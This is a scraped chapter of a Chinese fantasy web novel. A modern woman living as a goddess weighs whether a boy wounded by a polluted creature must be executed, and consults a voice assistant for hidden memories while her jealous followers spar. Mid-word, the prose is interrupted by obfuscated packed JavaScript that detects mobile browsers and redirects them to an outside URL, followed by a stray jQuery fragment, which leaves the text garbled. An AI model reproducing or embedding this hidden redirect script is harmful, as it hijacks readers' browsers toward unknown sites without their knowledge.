他说的处理，莫非指的是直接杀死……吗？杀死一个孩子？因为他被污染者伤了……？


    海伦的手指不自觉地蜷起，抓住了胸前的披肩，将高级丝绸攥得生出褶皱。


    她昨晚有恶补过一些这个世界的常识，她知道污染可以通过各种方式传播，有时接近污染体的时间较长也会被感染，更别提那个信徒是直接接触了污染体。


    为了防止异变，最好的做法就是将这个危险的萌芽掐死在摇篮中。


    但是要让她决定吗？决定一个人的生死？还是一个孩子？


    她是从和平的现代社会穿越而来的普通人，要她如何仅凭一句话就断定一个素未谋面的孩子的生死？


    海伦看着维斯珀耐心等待指示的神情，唇瓣微动，却怎么也说不出来话，静默半晌后咬紧了牙关。


    不，她虽是一个普通人，但是她现在的身躯并不是普通人，她所代表的是海伦女神，是这个末日城邦的绝对核心和依仗。


    她要对其他更多人负责，她不该犹豫。


    “处……”


    “尊上！”


    海伦话音未落，专属于少年的清朗嗓音就由远及近地传来，视网膜中仅留下一个残影，下一瞬就被抱在了怀里。


    洛奇用脸颊蹭了蹭海伦的头顶，用告状的语气说道：“听我说啊尊上，维斯珀超级过分，只是昨天我陪你了一会儿，他就把我关在了……”一句话还没说完，洛奇忽而顿了下来，在她的头顶嗅了嗅，金眸微微眯起，一个眼刀剜向了维斯珀。


    站在一旁的维斯珀微微歪头，似是不解其意地与他对视。


    二人四目相对之间，仿若有看不见的火花滋滋作响。


    海伦被洛奇挡住了视野，没有看到他们的硝烟四起，脸颊贴着男人的胸肌嗅到了淡淡的玫瑰香，一时间忘记了自己刚刚要说什么，嘴角不由自主地上扬，忍住回抱住他的冲动，耐心等待洛奇的后文，却迟迟没有等到，于是想要看看洛奇在做什么。


    抬头的瞬间，她触及了洛奇如东日初升般耀眼的金色眼瞳，脑海中蓦地闪过了一个画面。


    在女神的回忆当中，她能够将已经变成污染体的漓尔融入洛奇的身体之中，那她是否也有对付污染体伤口的手段？


    而且如若真的只是有一个人受伤，有概率异变需要处决的话，这种小事不应该送到她这里来，而是应该交由【审判庭】直接处决。


    维斯珀向她来报告，说明他认为女神大人应该有别的方式可以解决。


    不，说不定女神大人已经处理过这样的事情了。


    “洛奇，放开我。”海伦伸出一只手轻轻捏了捏洛奇的脸颊，将他的注意力拉回，随即偏头看向维斯珀，“那个信徒现在的情况怎么样？”


    “我第一时间做了急救，现在他现在生命体征平稳，暂时还没有醒来，污染程度不可监测，但是通过我的【从属】可得知他受污染侵袭的可能性极高。”维斯珀似乎早就知道了海伦会这样问，对答如流。


    “好，维斯珀你先去看着那个信徒，如果情况有变就来报告给我，”海伦吩咐完维斯珀，转头看向洛奇，“洛奇你先等一会儿，我还有事，等有空了我再听你说。”


    洛奇勾唇一笑，后退一步躬身应是。维斯珀扫了洛奇一眼，抿了抿唇，垂下眼眸顺从行礼。


    听到关门声响起，海伦径直走到床榻边，摸索了一会儿触及了手机，直接唤出：【小音。】


    【是的，尊上。】


    【我为“重启文明”而成神。】


    话音落下，海伦无言地等待小音的回应。


    在独自一人的房间之中，万物寂静，落针可闻。经过漫长的等待之后，那个声音出现了，这次语气中的温柔消散了些，取而代之的是更多的疲倦，仿佛几夜没有合眼：【海伦，你想记起什么？】


    海伦眼前一亮。


    这是她刚刚灵光一闪得出来的答案。


    《无名者的预言书》之所以会在那个论坛中出现，必然也是与女神有关的，很有可能说的就是女神本人。而小音之前曾经问了一个问题：“海伦，你为何成神？”她试过很多答案，唯一没有试过的，就是回答这个问题。


    现在她预言书之后，知道了“她”是为了“为重启文明而来”，所以想要赌一把，看看有没有额外的信息提供。


    显然，她赌对了。


    但是现在就又有新的问题出现了，她接下来要问什么？


    女神的问法很奇怪，“海伦，你想记起什么？”，为什么会这样问？


    在小音的角度考虑，她没有自我意识，纯粹只是一个有着女神声线的工具。而对于它而言，海伦就是女神本尊，而设下这个隐藏问题的人显然应该是女神大人本尊，小音只是执行者。


    换言之，女神大人给自己设置了一个关键词口令，以便于自己随时能够查阅想起什么东西。


    女神是一个很健忘的人吗？


    这个猜测可一点也不“女神”。


    海伦考虑再三，想要问被污染者袭击的普通人该如何治疗，问题已经到了嗓子眼，就差出口的时候，她蓦然意识到，自己可以问一些别的，例如——


    回到原世界的方法。


    “海伦女神是无所不能的。”这一点在这个世界中几乎是常识一般的存在，那么无所不能的女神大人是否也能解决她穿越时空的事情呢？


    可这次提问的机会不知道具体次数，万一只有一次呢？必须慎重对待。


    她可以放弃那个信徒的性命，抛弃这里的一切，回到她所熟知的时代，继续去做她万众瞩目、得心应手的工作，而非在这每天思考如何求生。


    说不定等她回去之后，女神本尊就回来了，皆大欢喜不是吗？


    ……但如果女神大人没有回来呢？失去精神支柱的这个城市，甚至是其他渴望女神光辉普照的人类，将逃到海伦城作为生存希望的人，该如何活下去？


    在海伦思考抉择之间，时间一分一秒地过去，小音在沉默地等待她的回复。


    海伦闭了闭眼，深吸了一口气。


    这个时代的人本就与她无关，她何必在意？


    ·


    封闭室内的装潢与整个海伦城的风格都截然不同，冷静、克制的极简主义，仅保留着最低限度的生活用品，但嵌入墙体的灯体却多到冗杂，如白昼的光辉钻入被观察者的每个角落，将躺在床上的少年的影子彻底驱赶，令人窒息的压迫感。


    将手轻轻搭上墙壁，维斯珀站立在封闭室的落地玻璃窗前，神色淡淡地看着玻璃另一侧的状况。


    “维


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040185|178600||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    斯珀，你疯了。”洛奇倚靠在门框上，懒散地瞥向屋内的病床，“你真觉得尊上发现不了？”


    维斯珀动作一顿，缓缓偏头看向洛奇，须臾后眯起眼，绽开一个灿烂的笑容：“你指什么？”


    洛奇被笑得毛骨悚然，嫌恶地干呕了一下说道：“别跟我这样笑，我没兴趣告密，我跟你不一样，我从不背后搞小动作。”


    维斯珀的视线在洛奇身上停顿了一瞬，收敛了笑容，重又回去看屋内的少年。


    少年看上去仅有十一二岁，此刻眉头紧皱，似乎在睡梦当中还在被什么追赶一般，手臂稍一发力，缠好的绷带便又开始渗血。


    对于普通人来说，污染体造成的伤口是无法治愈的，如若无人干涉，少年的死亡也是板上钉钉。


    “你选的人也太烂了，就算尊上不处罚你，希克斯那家伙回来了肯定也会来杀了你，真搞不懂你是为了什么。”洛奇有些幸灾乐祸地恶劣笑了起来，一副看好戏的样子。


    他本以为维斯珀不会搭理他的讽刺，毕竟维斯珀从来不在意除了尊上以外的任何人、任何事。


    然而维斯珀却兀地出声：“洛奇，你还是什么都不懂啊。”


    “？”洛奇皱起眉头，盯着维斯珀的神情，“什么意思？”


    “道德、名誉、仁慈、情谊，对我而言都没有任何意义。”维斯珀稍稍垂下眼眸，轻笑了一下，转身面向洛奇，“我的世界从始至终就只有一位大人，我是为她而生的。”


    皎洁如月的容貌渐渐蒙上云雾，神情晦暗不明，唯有那双粉眸亮得惊人。


    “为了她，我可以做任何事情。”


    期待、恐惧、爱意……无数情绪冗杂在一起，让周身优雅贵气的男人看上去就像一个孤注一掷的疯子。


    洛奇怔忪，本能地后退了一步。


    他和维斯珀向来不合，不止是因为他们都深爱着无上至尊，还有一个原因便是维斯珀看上去温文尔雅，却时常莫名做出一些极为偏激的事情，让他无法理解。


    就像是现在，他不懂维斯珀在想什么，但是直觉告诉他不是什么好事情。


    随时会为了自家主人咬断任何人的脖颈，这就是【女神的看门犬】——维斯珀。


    洛奇想要直接走开，继续待在维斯珀身边总觉得会有不祥的事情发生。


    然而还没等他迈步，一声巨响骤然从耳畔轰鸣而起！


    两人同时愣住，骤然转头望向声音传来的方向。


    那个方向，是尊上！


    维斯珀最先做出反应，眨眼间就化为黑液下落消失在原地。洛奇来不及多想，以最快速度夺门而出，以异能者的速度，不用多久就能抵达目的地。


    【漓尔，快用‘先知’看看尊上怎么样了。】


    （嗯……尊上好像……）


    洛奇听到漓尔的回答，大脑宕机了一下，不敢置信地再问了一次：【你说什么？】


    ·


    另一边。


    海伦：……


    火急火燎赶来的维斯珀：……


    四目相对，两人集体将视线投注在灶台上的不明物体。


    沉寂半晌后，维斯珀恍然大悟：“尊上是在尝试用污染者做食物吗？不愧是尊上！”


    海伦：……


    不是！！！